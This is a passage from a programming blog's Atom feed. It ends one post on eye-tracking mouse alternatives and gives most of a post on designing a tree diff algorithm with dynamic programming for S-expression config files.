  &lt;li&gt;Dwell clicking&lt;/li&gt;
  &lt;li&gt;Mouth noises: This is what I tried in my research, see &lt;a href=&quot;https://github.com/trishume/PopClick&quot;&gt;PopClick&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Face, head or eye gestures&lt;/li&gt;
  &lt;li&gt;Voice recognition&lt;/li&gt;
  &lt;li&gt;A keyboard&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Like I said, this was originally written primarily as prior art for patents. But I hope it was at least somewhat interesting to think about the numerous possibilities for eye tracking as a mouse replacement, even if a lot of the ideas have issues.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Designing a Tree Diff Algorithm Using Dynamic Programming and A*</title>
   <link href="https://thume.ca/2017/06/17/tree-diffing/"/>
   <updated>2017-06-17T00:00:00+00:00</updated>
   <id>https://thume.ca/2017/06/17/tree-diffing</id>
   <content type="html">
&lt;p&gt;During my internship at &lt;a href=&quot;https://www.janestreet.com/&quot;&gt;Jane Street&lt;/a&gt;&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, one of my projects was a config editing tool that at first sounded straightforward but culminated in me designing a custom tree diffing algorithm using dynamic programming, relentlessly optimizing it and then transforming it into an A* accelerated path finding algorithm. This post is the story of the design and optimization of the algorithm, of interest to anyone who needs an algorithm for diffing trees, or who just wants an in-depth example of the process of solving a real-world problem with a custom non-trivial dynamic programming algorithm, and some tips on optimizing one while maintaining understandability, or anyone who just wants to read a cool programming story and maybe learn something.&lt;/p&gt;

&lt;!-- Inspired by https://twitter.com/patio11/status/864770640796016641 --&gt;

&lt;h3 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#background&quot;&gt;Background&lt;/a&gt;: Description of the problem I was solving.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#the-heuristic-approach&quot;&gt;The Heuristic Approach&lt;/a&gt;: My initial attempt at a simple algorithm, and why it was insufficient.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#a-tree-diff-optimizer&quot;&gt;A Tree Diff Optimizer&lt;/a&gt;: Rethinking the problem as finding the optimal resulting tree diff.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dynamic-programming&quot;&gt;Dynamic Programming&lt;/a&gt;: Background on using the correspondence between memoizing recursion and path finding on a grid to find solutions to problems like Levenshtein distance.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#the-algorithm&quot;&gt;The Algorithm&lt;/a&gt;: Extending Levenshtein distance with two grids and recursion.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#profiling-and-optimization&quot;&gt;Profiling and Optimizing&lt;/a&gt;: Relentless profiling and optimizations to reduce run time.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#path-finding&quot;&gt;Path Finding&lt;/a&gt;: Using A* to make the run time proportional to the difference rather than tree size.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#example-implementation&quot;&gt;Example Implementation&lt;/a&gt;: Analysis of the effectiveness and costs of A* on Levenshtein distance, sequence alignment and diffing problems, with open source example code.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;Jane Street has a lot of config files for their trade handling systems which use &lt;a href=&quot;https://en.wikipedia.org/wiki/S-expression&quot;&gt;S-expressions&lt;/a&gt; (basically a tree with strings as leaves). They often want to make changes that will only apply on certain days, for example days when markets will act differently than normal like elections and option expiry dates. To do this their config processor knows a special construct that is like a switch statement for dates, it looks something like this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot; data-lang=&quot;scheme&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;thing-processor-config&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;speed&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;power&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;speed&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;power&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The semantics are that any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; block has its branches checked against the current date and the children of the correct branch are used in place of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; in the config structure. Note that each branch can contain multiple sub-trees.&lt;/p&gt;

&lt;p&gt;Now, just that small example took a while for me to type and get the indentation correct. People at Jane Street are frequently making edits where they just want to quickly change some numbers but have to make sure they get the syntax and indentation right and have everything still look nice. This is begging for automation!&lt;/p&gt;

&lt;p&gt;So they asked me to write a tool that would allow people to just edit the file and run a command, and it would automatically scope their changes to the current day, or a date they specify, by detecting the differences between the current contents on disk and the committed contents in version control.&lt;/p&gt;

&lt;p&gt;When I first heard the problem, it sounded pretty easy and I thought I’d be done within a few days, but I discovered a number of catches after starting and it ended up taking 5 weeks. This sounds like we maybe should have abandoned it when we discovered how complex it was, but given how much time expensive people were spending doing these edits, sometimes under time pressure when every extra minute had a high cost, it was worth it to get it right.&lt;/p&gt;

&lt;p&gt;The first thing I discovered is that they had a library for parsing and serializing s-expressions while preserving indentation and comments, but it didn’t cleanly handle making structural modifications to the parse tree. Before even starting the rest of the project I had to write a library that provided a better data model for doing this and having the result be nicely indented.&lt;/p&gt;

&lt;p&gt;Next, the real syntax for these date switch blocks is more complicated than my description and has a static constraint where the branches must cover every date in the current context and no more, including when nested inside other switches. I also didn’t want edits to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks to themselves be scoped to a date, since that would create invalid syntax. This required I parse my earlier style-preserving representation into one that computed date context and represented &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks specially in an &lt;a href=&quot;https://en.wikipedia.org/wiki/Abstract_syntax_tree&quot;&gt;Abstract Syntax Tree (AST)&lt;/a&gt; as well as transform back from my representation to the one I could output.&lt;/p&gt;

&lt;p&gt;Now finally I was ready to start on the actual algorithm. The basic task my script had to do was take two trees and wrap differing sub-trees in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; block with the old contents in one branch and the new contents in the other branch. The thing is, there are many ways to do this. The switch can be placed at many different levels and there may be multiple edits and it’s not specified how to group them. Technically it could just add a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; at the top level with the old file in one branch and the new file in another, but that wouldn’t be very satisfying, just like how technically the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diff&lt;/code&gt; command could just output the entire old file prefixed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt; and then the new file prefixed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt;, but then nobody would use it. I needed an algorithm that gave reasonable-looking and compact changes for real-world edits. It shouldn’t double the file size in an enormous &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; when only a single number changed.&lt;/p&gt;

&lt;h2 id=&quot;the-heuristic-approach&quot;&gt;The Heuristic Approach&lt;/h2&gt;

&lt;p&gt;If you just want to read about the optimal algorithm and not why one was necessary you can &lt;a href=&quot;#a-tree-diff-optimizer&quot;&gt;skip this section&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;First, I came up with a simple algorithm that I thought would work in almost all real-world cases. I simply recursively walked down the tree until I got to either a leaf that was different or a node that had a different number of children, and then it would put a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; at that level.&lt;/p&gt;

&lt;p&gt;This didn’t produce the most satisfying results, it was okay for changes to leaves, but as soon as you added or removed a child from a list, it would duplicate most of the list when it could have taken advantage of the ability to have a different number of children in each branch.&lt;/p&gt;

&lt;p&gt;It produced this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot; data-lang=&quot;scheme&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;foo&lt;/span&gt;
   &lt;span class=&quot;nv&quot;&gt;qux&lt;/span&gt;
   &lt;span class=&quot;c1&quot;&gt;; ... 1000 more lines ...&lt;/span&gt;
   &lt;span class=&quot;nv&quot;&gt;baz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;foo&lt;/span&gt;
   &lt;span class=&quot;c1&quot;&gt;; ... 1000 more lines ...&lt;/span&gt;
   &lt;span class=&quot;nv&quot;&gt;baz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;When we really would have preferred:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot; data-lang=&quot;scheme&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;foo&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;qux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
 &lt;span class=&quot;c1&quot;&gt;; ... 1000 more lines ...&lt;/span&gt;
 &lt;span class=&quot;nv&quot;&gt;baz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Luckily, this was easy enough to solve since Jane Street already had an &lt;a href=&quot;https://github.com/janestreet/patience_diff&quot;&gt;OCaml library implementing the Patience Diff algorithm&lt;/a&gt; for arbitrary lists of comparable OCaml types. When I had two lists of differing length, I simply applied the Patience Diff algorithm and placed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks based on the diff.&lt;/p&gt;

&lt;p&gt;This algorithm worked okay for cases of a single edit, but we wanted the tool to work with multiple edits, and for those it still often produced terrible results.&lt;/p&gt;

&lt;p&gt;For example, because it stopped recursing and applied a diff as soon as it reached a list of changing length, it would do this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot; data-lang=&quot;scheme&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;this&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;bar&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;; ... 1000 more lines ...&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;baz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;foo&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;; ... 1000 more lines ...&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;baz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
 &lt;span class=&quot;nv&quot;&gt;tests&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;adding&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;list&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;modifying&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;sub-tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It duplicates the long sub-tree instead of placing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; lower down in it, just because we made another edit at a higher level of the tree.&lt;/p&gt;

&lt;p&gt;There were a number of other cases where it didn’t produce output as nice as a human would, but earlier on my mentor and I had sighed and accepted it. This though was the last straw, we needed a new approach…&lt;/p&gt;

&lt;h2 id=&quot;a-tree-diff-optimizer&quot;&gt;A Tree Diff Optimizer&lt;/h2&gt;

&lt;p&gt;At this point I was fed up with constantly discovering failure modes of algorithms I thought should work on real-world cases, so I decided to design an algorithm that found the &lt;em&gt;optimal&lt;/em&gt;
solution.&lt;/p&gt;

&lt;p&gt;I started by searching the Internet for tree diff algorithms, but every algorithm I found was either a different kind of diff than what I needed, or was complex enough that I wasn’t willing to spend the time understanding it (probably only to later find out it computed a different kind of diff than I needed).&lt;/p&gt;

&lt;p&gt;Specifically, what I needed was mostly like a tree diff but I wasn’t optimizing for the same thing as other algorithms, what I wanted to optimize for was resulting file size, including indentation. This I thought represented what I wanted fairly well, and captured why previous results which duplicated large parts of the file were bad. As well as the character cost of the branches, each additional &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; block added more characters. Additionally, each switch construct could also contain multiple sub-trees in each branch, which I needed to model to account for overhead correctly.&lt;/p&gt;

&lt;p&gt;Consider the case of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(a b c)&lt;/code&gt; becoming &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(A b C)&lt;/code&gt;. A human would write:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot; data-lang=&quot;scheme&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Despite the fact that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt; is duplicated, this is the smallest number of characters. However if we had something longer we’d want something different, so the optimal result even depends on the length of leaf nodes:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot; data-lang=&quot;scheme&quot;&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
 &lt;span class=&quot;nv&quot;&gt;this_is_a_super_long_identifier_we_do_not_want_duplicated_because_it_is_looong&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;A very common real-world example of why it is important for it to be able to batch together differences is when changing multiple values of a data structure. The config files often have lots of key-value pairs and edits often touch many nearby values:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot; data-lang=&quot;scheme&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;thing-processor-config&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;:date-switch&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2017-04-07&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;speed&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;power&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9001&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;speed&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;power&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Even though &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;size&lt;/code&gt; didn’t change, we duplicate it because it’s cleaner than having two &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks.&lt;/p&gt;

&lt;!-- This kind of case is also where counting indentation comes in handy, if we only change one value we want to put the `:date-switch` around the whole pair because the indentation for putting it around the value is ugly:

    (thing-processor-config
      (speed (:date-switch
              (2017-04-07 5)
              (else 3)))
      ; better to do this
      (:date-switch
       (2017-04-07 (power 7))
       (else (power 9)))) --&gt;

&lt;!-- We can model the problem as a recursive decision-making problem where we want to find the optimal set of decisions. At each level we&apos;ll have two lists, a &quot;new&quot; list and an &quot;old&quot; list, there&apos;s a number of cases:

- If both lists are empty, there&apos;s nothing to do
- If the first element of both lists is the same, we put it in the output and then make decisions on the remainder of the list.
- If both lists start with a different child list, we have two choices:
  - We can start a new `:date-switch` block
  - Or we can recurse and decide how to place `:date-switch` blocks within the child list.
- Otherwise, we can only enter a `:date-switch` block.

And then we have a separate set of decisions we can make on lists
 --&gt;

&lt;h2 id=&quot;dynamic-programming&quot;&gt;Dynamic Programming&lt;/h2&gt;

&lt;p&gt;After 2+ days of research, discussing ideas with my mentor, and sitting down in a chair staring out at the nice view of London while thinking and sketching out cases of the algorithm in a notebook, I had something. It was a recursive dynamic programming algorithm that checked every possible way of placing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:by-date&lt;/code&gt; blocks and chose the best, but used memoization (that’s the dynamic programming part) so that it re-used sub-problems and had polynomial instead of exponential complexity.&lt;/p&gt;

&lt;p&gt;The core of the tree diffing problem is similar to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Levenshtein_distance&quot;&gt;Levenshtein Distance&lt;/a&gt; problem, you have two lists that have some number of insertions and deletions between them, and you want to find the best way to match them up. You can do this with a number of different cases based on the first elements of the lists with different costs, calculating those costs involves some constant plus recursively computing the cost for the rest of the lists. Then you compute the cost for each possible decision and take the minimum one.&lt;/p&gt;

&lt;p&gt;For example if you have a function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;best_cost(old,new)&lt;/code&gt; to solve the Levenshtein distance problem, there’s three cases for the start of the lists: insert, delete and same. The simplest case is if the first two elements are the same, and characters that are the same cost &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;, then the cost is just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;best_cost(old[1..], new[1..])&lt;/code&gt;. If a delete costs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;, then if the start of the list is a delete that means the character is in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;old&lt;/code&gt; but not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; so the total cost is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 + best_cost(old[1..], new)&lt;/code&gt;. Insert is similar but the opposite direction. This recursion terminates with the base case of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;best_cost([],[]) = 0&lt;/code&gt;. The problem is that this leads to an exponential number of recursive calls.&lt;/p&gt;

&lt;p&gt;But we can fix this by noticing that a lot of things are being computed redundantly and sharing the results by “memoizing” the function so that it stores the results for arguments it has been called with before. As seen in the diagram below, where the numbers on the nodes represent calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;best_cost(old[i..], new[j..])&lt;/code&gt; as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i,j&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/treediff/tree.png&quot; alt=&quot;Decision tree diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;But in some cases it can be difficult to think about the problem as a recursive memoized decision tree. Luckily there’s a different way of thinking about it that lends itself very well to sketching out algorithms in a notebook or on a whiteboard. We can rotate the tree 45 degrees and notice that we can think about it as a grid:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/treediff/treegrid.png&quot; alt=&quot;Decision tree diagram rotated to be a grid&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is useful for memoization since it means we can store our results in an efficient-to-access 2D array, but also because we can now think of our problem as finding a path from the top left of a grid to the bottom right using a certain set of moves. Whenever our decisions are constrained we can annotate the grid where the input lists have a property, like two items being the same. In the example below, we have a diagram of trying to find the Levenshtein distance from “abcd” to “bcad”, with the best path bolded, and an alternative more costly path our algorithm might explore shown dashed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/treediff/simplepaths.png&quot; alt=&quot;Levenshtein distance paths&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can find the best path by testing all the paths and returning the best one. There are exponentially many paths, but we can notice that the best path from a point in the middle of the grid to the bottom right is always the same no matter what moves might have gotten us to that point.&lt;/p&gt;

&lt;p&gt;One way to exploit this is to recursively search all paths from the top left, memoizing the best path at each point so we don’t compute it again. This corresponds to the memoizing of recursive functions mentioned earlier and is called the “top-down approach” to dynamic programming.&lt;/p&gt;

&lt;p&gt;There’s also the “bottom up” approach where you start from the bottom right and fill in each intersection with the best path based on previously computed results or base cases by using an order where everything you need is always available. In this case it would be right to left, top to bottom, like reading a book from end to start.&lt;/p&gt;

&lt;p&gt;Now we know that if we can restate our tree diffing problem as a problem of path-finding on a graph, we can turn that into an implementation using dynamic programming.&lt;/p&gt;

&lt;h2 id=&quot;the-algorithm&quot;&gt;The Algorithm&lt;/h2&gt;

&lt;p&gt;The key differences between my problem and Levenshtein distances were the fact that it was a tree and not a list, and the fact that consecutive sequences of inserts/deletes were cheaper than separate ones (because consecutive edits could be combined in one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; block). My cost function is also different in that I’m measuring the size of the resulting tree including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:date-switch&lt;/code&gt; blocks, so my moves will need costs based on that.&lt;/p&gt;

&lt;p&gt;I can extend the list algorithm to trees by adding a move I’ll call “recurse” that goes down and right and can be done on any square where both items are sub-trees (not leaves). The cost of the move is the cost of the resulting diff from running the entire tree-diff algorithm recursively on those two sub-trees. I don’t bother recursing if the two sub-trees are the same, since the “same” move has identical cost in that case, and is faster to compute.&lt;/p&gt;

